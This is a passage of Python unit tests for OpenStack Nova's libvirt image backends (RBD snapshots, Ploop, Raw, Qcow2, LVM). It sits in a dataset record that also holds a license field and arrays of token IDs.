mock.sentinel.remote_name)
mock_exists.assert_called_once_with()
mock_remove.assert_called_once_with(name)
mock_import.assert_called_once_with(mock.sentinel.file, name)
_test()
def test_import_file_not_found(self):
image = self.image_class(self.INSTANCE, self.NAME)
@mock.patch.object(image, 'check_image_exists')
@mock.patch.object(image.driver, 'remove_image')
@mock.patch.object(image.driver, 'import_image')
def _test(mock_import, mock_remove, mock_exists):
mock_exists.return_value = False
image.import_file(self.INSTANCE, mock.sentinel.file,
mock.sentinel.remote_name)
name = '%s_%s' % (self.INSTANCE.uuid,
mock.sentinel.remote_name)
mock_exists.assert_called_once_with()
self.assertFalse(mock_remove.called)
mock_import.assert_called_once_with(mock.sentinel.file, name)
_test()
def test_get_parent_pool(self):
image = self.image_class(self.INSTANCE, self.NAME)
with mock.patch.object(rbd_utils.RBDDriver, 'parent_info') as mock_pi:
mock_pi.return_value = [self.POOL, 'fake-image', 'fake-snap']
parent_pool = image._get_parent_pool(self.CONTEXT, 'fake-image',
self.FSID)
self.assertEqual(self.POOL, parent_pool)
def test_get_parent_pool_no_parent_info(self):
image = self.image_class(self.INSTANCE, self.NAME)
rbd_uri = 'rbd://%s/%s/fake-image/fake-snap' % (self.FSID, self.POOL)
with test.nested(mock.patch.object(rbd_utils.RBDDriver, 'parent_info'),
mock.patch.object(imagebackend.IMAGE_API, 'get'),
) as (mock_pi, mock_get):
mock_pi.side_effect = exception.ImageUnacceptable(image_id='test',
reason='test')
mock_get.return_value = {'locations': [{'url': rbd_uri}]}
parent_pool = image._get_parent_pool(self.CONTEXT, 'fake-image',
self.FSID)
self.assertEqual(self.POOL, parent_pool)
def test_get_parent_pool_non_local_image(self):
image = self.image_class(self.INSTANCE, self.NAME)
rbd_uri = 'rbd://remote-cluster/remote-pool/fake-image/fake-snap'
with test.nested(
mock.patch.object(rbd_utils.RBDDriver, 'parent_info'),
mock.patch.object(imagebackend.IMAGE_API, 'get')
) as (mock_pi, mock_get):
mock_pi.side_effect = exception.ImageUnacceptable(image_id='test',
reason='test')
mock_get.return_value = {'locations': [{'url': rbd_uri}]}
self.assertRaises(exception.ImageUnacceptable,
image._get_parent_pool, self.CONTEXT,
'fake-image', self.FSID)
def test_direct_snapshot(self):
image = self.image_class(self.INSTANCE, self.NAME)
test_snap = 'rbd://%s/%s/fake-image-id/snap' % (self.FSID, self.POOL)
with test.nested(
mock.patch.object(rbd_utils.RBDDriver, 'get_fsid',
return_value=self.FSID),
mock.patch.object(image, '_get_parent_pool',
return_value=self.POOL),
mock.patch.object(rbd_utils.RBDDriver, 'create_snap'),
mock.patch.object(rbd_utils.RBDDriver, 'clone'),
mock.patch.object(rbd_utils.RBDDriver, 'flatten'),
mock.patch.object(image, 'cleanup_direct_snapshot')
) as (mock_fsid, mock_parent, mock_create_snap, mock_clone,
mock_flatten, mock_cleanup):
location = image.direct_snapshot(self.CONTEXT, 'fake-snapshot',
'fake-format', 'fake-image-id',
'fake-base-image')
mock_fsid.assert_called_once_with()
mock_parent.assert_called_once_with(self.CONTEXT,
'fake-base-image',
self.FSID)
mock_create_snap.assert_has_calls([mock.call(image.rbd_name,
'fake-snapshot',
protect=True),
mock.call('fake-image-id',
'snap',
pool=self.POOL,
protect=True)])
mock_clone.assert_called_once_with(mock.ANY, 'fake-image-id',
dest_pool=self.POOL)
mock_flatten.assert_called_once_with('fake-image-id',
pool=self.POOL)
mock_cleanup.assert_called_once_with(mock.ANY)
self.assertEqual(test_snap, location)
def test_direct_snapshot_cleans_up_on_failures(self):
image = self.image_class(self.INSTANCE, self.NAME)
test_snap = 'rbd://%s/%s/%s/snap' % (self.FSID, image.pool,
image.rbd_name)
with test.nested(
mock.patch.object(rbd_utils.RBDDriver, 'get_fsid',
return_value=self.FSID),
mock.patch.object(image, '_get_parent_pool',
return_value=self.POOL),
mock.patch.object(rbd_utils.RBDDriver, 'create_snap'),
mock.patch.object(rbd_utils.RBDDriver, 'clone',
side_effect=exception.Forbidden('testing')),
mock.patch.object(rbd_utils.RBDDriver, 'flatten'),
mock.patch.object(image, 'cleanup_direct_snapshot')) as (
mock_fsid, mock_parent, mock_create_snap, mock_clone,
mock_flatten, mock_cleanup):
self.assertRaises(exception.Forbidden, image.direct_snapshot,
self.CONTEXT, 'snap', 'fake-format',
'fake-image-id', 'fake-base-image')
mock_create_snap.assert_called_once_with(image.rbd_name, 'snap',
protect=True)
self.assertFalse(mock_flatten.called)
mock_cleanup.assert_called_once_with(dict(url=test_snap))
def test_cleanup_direct_snapshot(self):
image = self.image_class(self.INSTANCE, self.NAME)
test_snap = 'rbd://%s/%s/%s/snap' % (self.FSID, image.pool,
image.rbd_name)
with test.nested(
mock.patch.object(rbd_utils.RBDDriver, 'remove_snap'),
mock.patch.object(rbd_utils.RBDDriver, 'destroy_volume')
) as (mock_rm, mock_destroy):
# Ensure that the method does nothing when no location is provided
image.cleanup_direct_snapshot(None)
self.assertFalse(mock_rm.called)
# Ensure that destroy_volume is not called
image.cleanup_direct_snapshot(dict(url=test_snap))
mock_rm.assert_called_once_with(image.rbd_name, 'snap', force=True,
ignore_errors=False,
pool=image.pool)
self.assertFalse(mock_destroy.called)
def test_cleanup_direct_snapshot_destroy_volume(self):
image = self.image_class(self.INSTANCE, self.NAME)
test_snap = 'rbd://%s/%s/%s/snap' % (self.FSID, image.pool,
image.rbd_name)
with test.nested(
mock.patch.object(rbd_utils.RBDDriver, 'remove_snap'),
mock.patch.object(rbd_utils.RBDDriver, 'destroy_volume')
) as (mock_rm, mock_destroy):
# Ensure that destroy_volume is called
image.cleanup_direct_snapshot(dict(url=test_snap),
also_destroy_volume=True)
mock_rm.assert_called_once_with(image.rbd_name, 'snap',
force=True,
ignore_errors=False,
pool=image.pool)
mock_destroy.assert_called_once_with(image.rbd_name,
pool=image.pool)
class PloopTestCase(_ImageTestCase, test.NoDBTestCase):
SIZE = 1024
def setUp(self):
self.image_class = imagebackend.Ploop
super(PloopTestCase, self).setUp()
self.utils = imagebackend.utils
def prepare_mocks(self):
fn = self.mox.CreateMockAnything()
self.mox.StubOutWithMock(imagebackend.utils.synchronized,
'__call__')
self.mox.StubOutWithMock(imagebackend.libvirt_utils, 'copy_image')
self.mox.StubOutWithMock(self.utils, 'execute')
return fn
def test_cache(self):
self.mox.StubOutWithMock(os.path, 'exists')
if self.OLD_STYLE_INSTANCE_PATH:
os.path.exists(self.OLD_STYLE_INSTANCE_PATH).AndReturn(False)
os.path.exists(self.TEMPLATE_DIR).AndReturn(False)
os.path.exists(self.PATH).AndReturn(False)
os.path.exists(self.TEMPLATE_PATH).AndReturn(False)
fn = self.mox.CreateMockAnything()
fn(target=self.TEMPLATE_PATH)
self.mox.StubOutWithMock(imagebackend.fileutils, 'ensure_tree')
imagebackend.fileutils.ensure_tree(self.TEMPLATE_DIR)
self.mox.ReplayAll()
image = self.image_class(self.INSTANCE, self.NAME)
self.mock_create_image(image)
image.cache(fn, self.TEMPLATE)
self.mox.VerifyAll()
def test_create_image(self):
self.stubs.Set(imagebackend.Ploop, 'get_disk_size', lambda a, b: 2048)
fn = self.prepare_mocks()
fn(target=self.TEMPLATE_PATH, max_size=2048, image_id=None)
img_path = os.path.join(self.PATH, "root.hds")
imagebackend.libvirt_utils.copy_image(self.TEMPLATE_PATH, img_path)
self.utils.execute("ploop", "restore-descriptor", "-f", "raw",
self.PATH, img_path)
self.utils.execute("ploop", "grow", '-s', "2K",
os.path.join(self.PATH, "DiskDescriptor.xml"),
run_as_root=True)
self.mox.ReplayAll()
image = self.image_class(self.INSTANCE, self.NAME)
image.create_image(fn, self.TEMPLATE_PATH, 2048, image_id=None)
self.mox.VerifyAll()
def test_prealloc_image(self):
self.flags(preallocate_images='space')
fake_processutils.fake_execute_clear_log()
fake_processutils.stub_out_processutils_execute(self.stubs)
image = self.image_class(self.INSTANCE, self.NAME)
def fake_fetch(target, *args, **kwargs):
return
self.stub_out('os.path.exists', lambda _: True)
self.stubs.Set(image, 'check_image_exists', lambda: True)
self.stubs.Set(image, 'get_disk_size', lambda _: self.SIZE)
image.cache(fake_fetch, self.TEMPLATE_PATH, self.SIZE)
class BackendTestCase(test.NoDBTestCase):
INSTANCE = objects.Instance(id=1, uuid=uuidutils.generate_uuid())
NAME = 'fake-name.suffix'
def setUp(self):
super(BackendTestCase, self).setUp()
self.flags(enabled=False, group='ephemeral_storage_encryption')
self.INSTANCE['ephemeral_key_uuid'] = None
def get_image(self, use_cow, image_type):
return imagebackend.Backend(use_cow).image(self.INSTANCE,
self.NAME,
image_type)
def _test_image(self, image_type, image_not_cow, image_cow):
image1 = self.get_image(False, image_type)
image2 = self.get_image(True, image_type)
def assertIsInstance(instance, class_object):
failure = ('Expected %s,' +
' but got %s.') % (class_object.__name__,
instance.__class__.__name__)
self.assertIsInstance(instance, class_object, msg=failure)
assertIsInstance(image1, image_not_cow)
assertIsInstance(image2, image_cow)
def test_image_raw(self):
self._test_image('raw', imagebackend.Raw, imagebackend.Raw)
def test_image_raw_preallocate_images(self):
flags = ('space', 'Space', 'SPACE')
for f in flags:
self.flags(preallocate_images=f)
raw = imagebackend.Raw(self.INSTANCE, 'fake_disk', '/tmp/xyz')
self.assertTrue(raw.preallocate)
def test_image_raw_preallocate_images_bad_conf(self):
self.flags(preallocate_images='space1')
raw = imagebackend.Raw(self.INSTANCE, 'fake_disk', '/tmp/xyz')
self.assertFalse(raw.preallocate)
def test_image_raw_native_io(self):
self.flags(preallocate_images="space")
raw = imagebackend.Raw(self.INSTANCE, 'fake_disk', '/tmp/xyz')
self.assertEqual(raw.driver_io, "native")
def test_image_qcow2(self):
self._test_image('qcow2', imagebackend.Qcow2, imagebackend.Qcow2)
def test_image_qcow2_preallocate_images(self):
flags = ('space', 'Space', 'SPACE')
for f in flags:
self.flags(preallocate_images=f)
qcow = imagebackend.Qcow2(self.INSTANCE, 'fake_disk', '/tmp/xyz')
self.assertTrue(qcow.preallocate)
def test_image_qcow2_preallocate_images_bad_conf(self):
self.flags(preallocate_images='space1')
qcow = imagebackend.Qcow2(self.INSTANCE, 'fake_disk', '/tmp/xyz')
self.assertFalse(qcow.preallocate)
def test_image_qcow2_native_io(self):
self.flags(preallocate_images="space")
qcow = imagebackend.Qcow2(self.INSTANCE, 'fake_disk', '/tmp/xyz')
self.assertEqual(qcow.driver_io, "native")
def test_image_lvm_native_io(self):
def _test_native_io(is_sparse, driver_io):
self.flags(images_volume_group='FakeVG', group='libvirt')
self.flags(sparse_logical_volumes=is_sparse, group='libvirt')
lvm = imagebackend.Lvm(self.INSTANCE, 'fake_disk')
self.assertEqual(lvm.driver_io, driver_io)
_test_native_io(is_sparse=False, driver_io="native")
_test_native_io(is_sparse=True, driver_io=None)
def test_image_lvm(self):
self.flags(images_volume_group='FakeVG', group='libvirt')
self._test_image('lvm', imagebackend.Lvm, imagebackend.Lvm)
def test_image_rbd(self):
conf = "FakeConf"
pool = "FakePool"
self.flags(images_rbd_pool=pool, group='libvirt')
self.flags(images_rbd_ceph_conf=conf, group='libvirt')
self.mox.StubOutWithMock(rbd_utils, 'rbd')
self.mox.StubOutWithMock(rbd_utils, 'rados')
self._test_image('rbd', imagebackend.Rbd, imagebackend.Rbd)
def test_image_default(self):
self._test_image('default', imagebackend.Raw, imagebackend.Qcow2)
|
apache-2.0
|
[
3,
1898,
6029,
16386,
577,
4019,
2932,
199,
3,
2900,
5924,
5702,
14,
199,
3,
199,
3,
259,
3909,
1334,
314,
3668,
844,
12,
3394,
499,
14,
16,
334,
1589,
298,
3761,
3547,
1265,
1443,
199,
3,
259,
440,
675,
642,
570,
871,
315,
4151,
543,
314,
844,
14,
2047,
1443,
3332,
199,
3,
259,
282,
1331,
402,
314,
844,
737,
199,
3,
199,
3,
260,
1455,
921,
1544,
14,
3796,
14,
1308,
15,
2383,
15,
3961,
13,
18,
14,
16,
199,
3,
199,
3,
259,
4158,
1415,
701,
3964,
4179,
503,
4193,
370,
315,
3575,
12,
2032,
199,
3,
259,
1854,
1334,
314,
844,
365,
1854,
641,
376,
298,
1179,
2281,
2,
4207,
12,
2428,
199,
3,
259,
2990,
1549,
4217,
1634,
1821,
3826,
12,
1902,
4056,
503,
2478,
14,
1666,
314,
199,
3,
259,
844,
367,
314,
2488,
2637,
4210,
3443,
436,
4204,
199,
3,
259,
1334,
314,
844,
14,
199,
199,
646,
1300,
772,
199,
646,
6485,
199,
646,
747,
199,
646,
5145,
199,
646,
5549,
199,
199,
646,
15188,
199,
646,
1683,
199,
504,
11258,
63,
27518,
492,
4650,
1208,
199,
504,
11258,
63,
888,
492,
4810,
199,
504,
11258,
63,
888,
492,
10949,
465,
1101,
63,
5997,
199,
504,
11258,
63,
1208,
492,
1834,
1208,
199,
504,
11258,
63,
1208,
492,
6204,
199,
504,
11258,
63,
1208,
492,
5377,
1208,
199,
199,
504,
5913,
492,
1067,
199,
504,
5913,
492,
1919,
199,
504,
5913,
492,
790,
7755,
199,
504,
5913,
492,
2251,
199,
504,
5913,
492,
511,
199,
504,
5913,
14,
2219,
14,
3248,
492,
4026,
63,
1412,
1208,
199,
504,
5913,
14,
2219,
14,
3248,
14,
4549,
14,
11877,
492,
4026,
63,
11877,
63,
1208,
199,
504,
5913,
14,
4549,
14,
1569,
492,
1402,
465,
6050,
1238,
199,
504,
5913,
14,
4549,
492,
5935,
199,
504,
5913,
14,
4549,
14,
11877,
492,
1101,
465,
373,
888,
199,
504,
5913,
14,
4549,
14,
11877,
492,
1834,
4620,
199,
504,
5913,
14,
4549,
14,
11877,
14,
3494,
492,
519,
3691,
63,
1208,
199,
199,
3103,
275,
4810,
14,
3103,
199,
3103,
14,
646,
63,
2992,
360,
5964,
63,
498,
297,
283,
6765,
14,
498,
7755,
14,
2190,
63,
498,
63,
7755,
297,
1572,
534,
498,
7755,
358,
421,
199,
533,
7777,
13790,
8,
785,
304,
339,
347,
574,
8,
277,
304,
267,
372,
1300,
772,
14,
66,
772,
2708,
480,
5747,
41,
90,
46,
4980,
18,
35,
71,
389,
531,
421,
199,
533,
7777,
6805,
8,
785,
304,
339,
347,
7565,
7521,
2175,
8757,
1558,
8,
277,
12,
5377,
304,
267,
372,
7777,
13790,
342,
421,
199,
533,
485,
3491,
1746,
8,
785,
304,
339,
347,
1683,
63,
981,
63,
1569,
8,
277,
12,
1834,
304,
267,
347,
1218,
63,
1569,
8,
2324,
12,
1300,
12,
1568,
12,
627,
589,
12,
1011,
958,
304,
288,
4325,
8,
1375,
29,
1095,
12,
627,
589,
12,
1011,
958,
9,
267,
1834,
14,
981,
63,
1569,
275,
1218,
63,
1569,
339,
347,
3613,
8,
277,
304,
267,
1613,
1547,
3491,
1746,
12,
291,
680,
5996,
342,
267,
291,
14,
5997,
275,
291,
14,
31015,
8,
888,
63,
5997,
14,
2028,
8,
831,
1208,
14,
3103,
430,
267,
291,
14,
7834,
879,
16734,
63,
3243,
275,
5549,
14,
11983,
8,
4511,
534,
5990,
358,
267,
291,
14,
5997,
14,
888,
8,
5993,
63,
1412,
63,
24056,
29,
549,
12,
1169,
1572,
534,
736,
320,
63,
27518,
358,
267,
291,
14,
2469,
8,
5990,
63,
515,
29,
277,
14,
7834,
879,
16734,
63,
3243,
9,
267,
291,
14,
18235,
275,
2251,
14,
3244,
8,
344,
29,
17,
12,
5377,
29,
2580,
1208,
14,
4208,
63,
2580,
1012,
267,
291,
14,
20492,
63,
4531,
63,
3243,
275,
747,
14,
515,
14,
904,
8,
277,
14,
7834,
879,
16734,
63,
3243,
12,
5644,
291,
14,
18235,
459,
2580,
995,
283,
4032,
14,
815,
358,
267,
291,
14,
2339,
275,
283,
3183,
14,
2611,
7,
267,
291,
14,
7433,
275,
283,
1160,
7,
267,
291,
14,
9059,
275,
1067,
14,
362,
63,
2113,
63,
1100,
342,
398,
291,
14,
5104,
63,
18466,
63,
18235,
63,
3243,
275,
971,
288,
4026,
63,
11877,
63,
1208,
14,
362,
63,
842,
63,
515,
8,
277,
14,
18235,
12,
3542,
1753,
29,
549,
9,
267,
291,
14,
3243,
275,
747,
14,
515,
14,
904,
8,
288,
4026,
63,
11877,
63,
1208,
14,
362,
63,
842,
63,
515,
8,
277,
14,
18235,
395,
291,
14,
2339,
9,
398,
327,
3254,
8,
2664,
26446,
304,
11441,
1978,
63,
694,
370,
1300,
63,
694,
436,
1978,
63,
515,
267,
327,
370,
6328,
63,
1569,
63,
515,
14,
961,
911,
506,
6656,
3743,
4941,
14,
267,
291,
14,
7433,
63,
3022,
275,
747,
14,
515,
14,
904,
8,
3103,
14,
5990,
63,
515,
12,
2513,
1095,
358,
267,
291,
14,
7433,
63,
3243,
275,
747,
14,
515,
14,
904,
8,
277,
14,
7433,
63,
3022,
12,
283,
1160,
358,
398,
291,
14,
31015,
8,
8769,
14,
6671,
498,
11173,
8,
288,
283,
6765,
14,
4549,
14,
11877,
14,
1569,
4620,
14,
11877,
63,
1208,
297,
288,
4026,
63,
11877,
63,
1208,
430,
339,
347,
6766,
8,
277,
304,
267,
1613,
1547,
3491,
1746,
12,
291,
680,
12336,
342,
267,
5145,
14,
9242,
8,
277,
14,
7834,
879,
16734,
63,
3243,
9,
339,
347,
511,
63,
657,
9373,
63,
1569,
8,
277,
304,
267,
6392,
14,
409,
63,
4415,
360,
657,
12991,
63,
4782,
297,
283,
2638,
358,
398,
4026,
63,
1412,
1208,
14,
3183,
63,
2526,
63,
3584,
63,
793,
342,
267,
4026,
63,
1412,
1208,
14,
5811,
63,
548,
63,
1412,
1208,
63,
2526,
8,
277,
14,
8957,
9,
267,
1834,
275,
291,
14,
1569,
63,
533,
8,
277,
14,
18235,
12,
291,
14,
2339,
9,
398,
347,
4026,
63,
3535,
8,
1375,
12,
627,
589,
12,
1011,
958,
304,
288,
372,
398,
291,
14,
8957,
14,
1084,
8,
1569,
12,
283,
362,
63,
4032,
63,
890,
297,
2400,
24700,
291,
14,
4305,
9,
267,
291,
14,
5811,
63,
548,
360,
736,
14,
515,
14,
2444,
297,
2400,
24700,
715,
9,
267,
291,
14,
5811,
63,
548,
360,
736,
14,
2732,
297,
2400,
299,
12
] |
[
1898,
6029,
16386,
577,
4019,
2932,
199,
3,
2900,
5924,
5702,
14,
199,
3,
199,
3,
259,
3909,
1334,
314,
3668,
844,
12,
3394,
499,
14,
16,
334,
1589,
298,
3761,
3547,
1265,
1443,
199,
3,
259,
440,
675,
642,
570,
871,
315,
4151,
543,
314,
844,
14,
2047,
1443,
3332,
199,
3,
259,
282,
1331,
402,
314,
844,
737,
199,
3,
199,
3,
260,
1455,
921,
1544,
14,
3796,
14,
1308,
15,
2383,
15,
3961,
13,
18,
14,
16,
199,
3,
199,
3,
259,
4158,
1415,
701,
3964,
4179,
503,
4193,
370,
315,
3575,
12,
2032,
199,
3,
259,
1854,
1334,
314,
844,
365,
1854,
641,
376,
298,
1179,
2281,
2,
4207,
12,
2428,
199,
3,
259,
2990,
1549,
4217,
1634,
1821,
3826,
12,
1902,
4056,
503,
2478,
14,
1666,
314,
199,
3,
259,
844,
367,
314,
2488,
2637,
4210,
3443,
436,
4204,
199,
3,
259,
1334,
314,
844,
14,
199,
199,
646,
1300,
772,
199,
646,
6485,
199,
646,
747,
199,
646,
5145,
199,
646,
5549,
199,
199,
646,
15188,
199,
646,
1683,
199,
504,
11258,
63,
27518,
492,
4650,
1208,
199,
504,
11258,
63,
888,
492,
4810,
199,
504,
11258,
63,
888,
492,
10949,
465,
1101,
63,
5997,
199,
504,
11258,
63,
1208,
492,
1834,
1208,
199,
504,
11258,
63,
1208,
492,
6204,
199,
504,
11258,
63,
1208,
492,
5377,
1208,
199,
199,
504,
5913,
492,
1067,
199,
504,
5913,
492,
1919,
199,
504,
5913,
492,
790,
7755,
199,
504,
5913,
492,
2251,
199,
504,
5913,
492,
511,
199,
504,
5913,
14,
2219,
14,
3248,
492,
4026,
63,
1412,
1208,
199,
504,
5913,
14,
2219,
14,
3248,
14,
4549,
14,
11877,
492,
4026,
63,
11877,
63,
1208,
199,
504,
5913,
14,
4549,
14,
1569,
492,
1402,
465,
6050,
1238,
199,
504,
5913,
14,
4549,
492,
5935,
199,
504,
5913,
14,
4549,
14,
11877,
492,
1101,
465,
373,
888,
199,
504,
5913,
14,
4549,
14,
11877,
492,
1834,
4620,
199,
504,
5913,
14,
4549,
14,
11877,
14,
3494,
492,
519,
3691,
63,
1208,
199,
199,
3103,
275,
4810,
14,
3103,
199,
3103,
14,
646,
63,
2992,
360,
5964,
63,
498,
297,
283,
6765,
14,
498,
7755,
14,
2190,
63,
498,
63,
7755,
297,
1572,
534,
498,
7755,
358,
421,
199,
533,
7777,
13790,
8,
785,
304,
339,
347,
574,
8,
277,
304,
267,
372,
1300,
772,
14,
66,
772,
2708,
480,
5747,
41,
90,
46,
4980,
18,
35,
71,
389,
531,
421,
199,
533,
7777,
6805,
8,
785,
304,
339,
347,
7565,
7521,
2175,
8757,
1558,
8,
277,
12,
5377,
304,
267,
372,
7777,
13790,
342,
421,
199,
533,
485,
3491,
1746,
8,
785,
304,
339,
347,
1683,
63,
981,
63,
1569,
8,
277,
12,
1834,
304,
267,
347,
1218,
63,
1569,
8,
2324,
12,
1300,
12,
1568,
12,
627,
589,
12,
1011,
958,
304,
288,
4325,
8,
1375,
29,
1095,
12,
627,
589,
12,
1011,
958,
9,
267,
1834,
14,
981,
63,
1569,
275,
1218,
63,
1569,
339,
347,
3613,
8,
277,
304,
267,
1613,
1547,
3491,
1746,
12,
291,
680,
5996,
342,
267,
291,
14,
5997,
275,
291,
14,
31015,
8,
888,
63,
5997,
14,
2028,
8,
831,
1208,
14,
3103,
430,
267,
291,
14,
7834,
879,
16734,
63,
3243,
275,
5549,
14,
11983,
8,
4511,
534,
5990,
358,
267,
291,
14,
5997,
14,
888,
8,
5993,
63,
1412,
63,
24056,
29,
549,
12,
1169,
1572,
534,
736,
320,
63,
27518,
358,
267,
291,
14,
2469,
8,
5990,
63,
515,
29,
277,
14,
7834,
879,
16734,
63,
3243,
9,
267,
291,
14,
18235,
275,
2251,
14,
3244,
8,
344,
29,
17,
12,
5377,
29,
2580,
1208,
14,
4208,
63,
2580,
1012,
267,
291,
14,
20492,
63,
4531,
63,
3243,
275,
747,
14,
515,
14,
904,
8,
277,
14,
7834,
879,
16734,
63,
3243,
12,
5644,
291,
14,
18235,
459,
2580,
995,
283,
4032,
14,
815,
358,
267,
291,
14,
2339,
275,
283,
3183,
14,
2611,
7,
267,
291,
14,
7433,
275,
283,
1160,
7,
267,
291,
14,
9059,
275,
1067,
14,
362,
63,
2113,
63,
1100,
342,
398,
291,
14,
5104,
63,
18466,
63,
18235,
63,
3243,
275,
971,
288,
4026,
63,
11877,
63,
1208,
14,
362,
63,
842,
63,
515,
8,
277,
14,
18235,
12,
3542,
1753,
29,
549,
9,
267,
291,
14,
3243,
275,
747,
14,
515,
14,
904,
8,
288,
4026,
63,
11877,
63,
1208,
14,
362,
63,
842,
63,
515,
8,
277,
14,
18235,
395,
291,
14,
2339,
9,
398,
327,
3254,
8,
2664,
26446,
304,
11441,
1978,
63,
694,
370,
1300,
63,
694,
436,
1978,
63,
515,
267,
327,
370,
6328,
63,
1569,
63,
515,
14,
961,
911,
506,
6656,
3743,
4941,
14,
267,
291,
14,
7433,
63,
3022,
275,
747,
14,
515,
14,
904,
8,
3103,
14,
5990,
63,
515,
12,
2513,
1095,
358,
267,
291,
14,
7433,
63,
3243,
275,
747,
14,
515,
14,
904,
8,
277,
14,
7433,
63,
3022,
12,
283,
1160,
358,
398,
291,
14,
31015,
8,
8769,
14,
6671,
498,
11173,
8,
288,
283,
6765,
14,
4549,
14,
11877,
14,
1569,
4620,
14,
11877,
63,
1208,
297,
288,
4026,
63,
11877,
63,
1208,
430,
339,
347,
6766,
8,
277,
304,
267,
1613,
1547,
3491,
1746,
12,
291,
680,
12336,
342,
267,
5145,
14,
9242,
8,
277,
14,
7834,
879,
16734,
63,
3243,
9,
339,
347,
511,
63,
657,
9373,
63,
1569,
8,
277,
304,
267,
6392,
14,
409,
63,
4415,
360,
657,
12991,
63,
4782,
297,
283,
2638,
358,
398,
4026,
63,
1412,
1208,
14,
3183,
63,
2526,
63,
3584,
63,
793,
342,
267,
4026,
63,
1412,
1208,
14,
5811,
63,
548,
63,
1412,
1208,
63,
2526,
8,
277,
14,
8957,
9,
267,
1834,
275,
291,
14,
1569,
63,
533,
8,
277,
14,
18235,
12,
291,
14,
2339,
9,
398,
347,
4026,
63,
3535,
8,
1375,
12,
627,
589,
12,
1011,
958,
304,
288,
372,
398,
291,
14,
8957,
14,
1084,
8,
1569,
12,
283,
362,
63,
4032,
63,
890,
297,
2400,
24700,
291,
14,
4305,
9,
267,
291,
14,
5811,
63,
548,
360,
736,
14,
515,
14,
2444,
297,
2400,
24700,
715,
9,
267,
291,
14,
5811,
63,
548,
360,
736,
14,
2732,
297,
2400,
299,
12,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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